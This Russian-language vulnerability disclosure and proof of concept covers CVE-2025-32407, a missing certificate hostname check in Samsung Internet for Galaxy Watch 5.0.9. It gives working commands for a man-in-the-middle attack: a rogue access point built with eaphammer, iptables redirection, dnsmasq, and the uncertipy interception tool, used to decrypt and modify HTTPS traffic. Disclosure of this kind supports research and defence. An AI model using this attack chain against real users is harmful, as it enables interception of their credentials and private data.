
Доказательство концепции эксплуатации для CVE-2025-32407: обход проверки TLS-сертификатов в Samsung Internet для Galaxy Watch, позволяющий проводить атаки «человек посередине» на HTTPS-трафик.
Подтверждение концепции для CVE-2025-32407: ошибка конфигурации в проверке TLS-сертификатов приложения "Samsung Internet for Galaxy Watch" для Samsung Galaxy Watch версии 5.0.9.
Приложение для Galaxy Watch "Samsung Internet for Galaxy Watch" версии 5.0.9, доступное вплоть до Samsung Galaxy Watch 3, некорректно проверяет TLS-сертификаты, что позволяет злоумышленнику подделывать любые и все веб-сайты, посещаемые пользователем. Это критическая ошибка конфигурации в том, как браузер проверяет подлинность сервера. Она сводит на нет использование HTTPS как защищённого канала, позволяя проводить атаки "человек посередине", похищать конфиденциальную информацию или изменять входящий и исходящий трафик.
В данном конкретном случае браузер не проверяет, что домен сертификата соответствует доменному имени веб-сайта. Это означает, что он принимает любой TLS-сертификат, выпущенный для любого произвольного домена, при условии, что он подписан доверенным центром сертификации. Тогда злоумышленник может получить бесплатный сертификат для подконтрольного ему домена и с его помощью перехватывать все TLS-соединения, создаваемые приложением.
Это было протестировано с использованием Samsung Galaxy Watch 3 и последней версии "Samsung Internet for Galaxy Watch" (5.0.9). Обратите внимание, что данное устройство в настоящее время не поддерживается.

Для облегчения эксплуатации я разработал инструмент, который динамически перехватывает TLS-соединения и генерирует TLS-сертификаты, контролируемые мной, что позволяет мне расшифровывать и изменять входящие и исходящие данные: https://github.com/diegovargasj/uncertipy. Необходим действующий TLS-сертификат с его ключом, подписанный реальным центром сертификации (CA). Это можно легко и бесплатно сделать с помощью API Let's Encrypt и домена. Они будут сохранены в /path/to/cert.pem и /path/to/key.pem соответственно.
Существует несколько способов перехвата связи Watch, например, манипулирование DNS-ответами или подключение его к точке доступа WiFi, созданной для этой цели. Мы воспользуемся последним вариантом, используя компьютер с двумя сетевыми интерфейсами: wlan0 для доступа в интернет и wlan1 для развёртывания точки доступа WiFi.
Я буду использовать eaphammer (https://github.com/s0lst1c3/eaphammer) для развёртывания точки доступа WiFi, но вы можете использовать любой другой инструмент по своему усмотрению.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
Теперь назначим IP-адрес интерфейсу:
sudo ip addr add 10.0.0.1/24 dev wlan1
Перенаправим трафик на локальный порт 9900:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
И включим DHCP и DNS:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
Наконец, запустим uncertipy для перехвата TLS-трафика на порту 9900. Этот трафик будет перенаправлен на HTTP-прокси на порту 8080 для логирования:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
Теперь подключаем Watch к точке доступа WiFi, открываем приложение и переходим на любой произвольный HTTPS-сайт.


Инструмент uncertipy уведомит о перехватах TLS.

HTTP-прокси начнёт перехватывать запросы, которые могут содержать конфиденциальную информацию. Кроме того, мы можем воспользоваться функциями прокси для изменения входящих или исходящих запросов.

Приложение должно работать нормально, отображая содержимое веб-сайта.
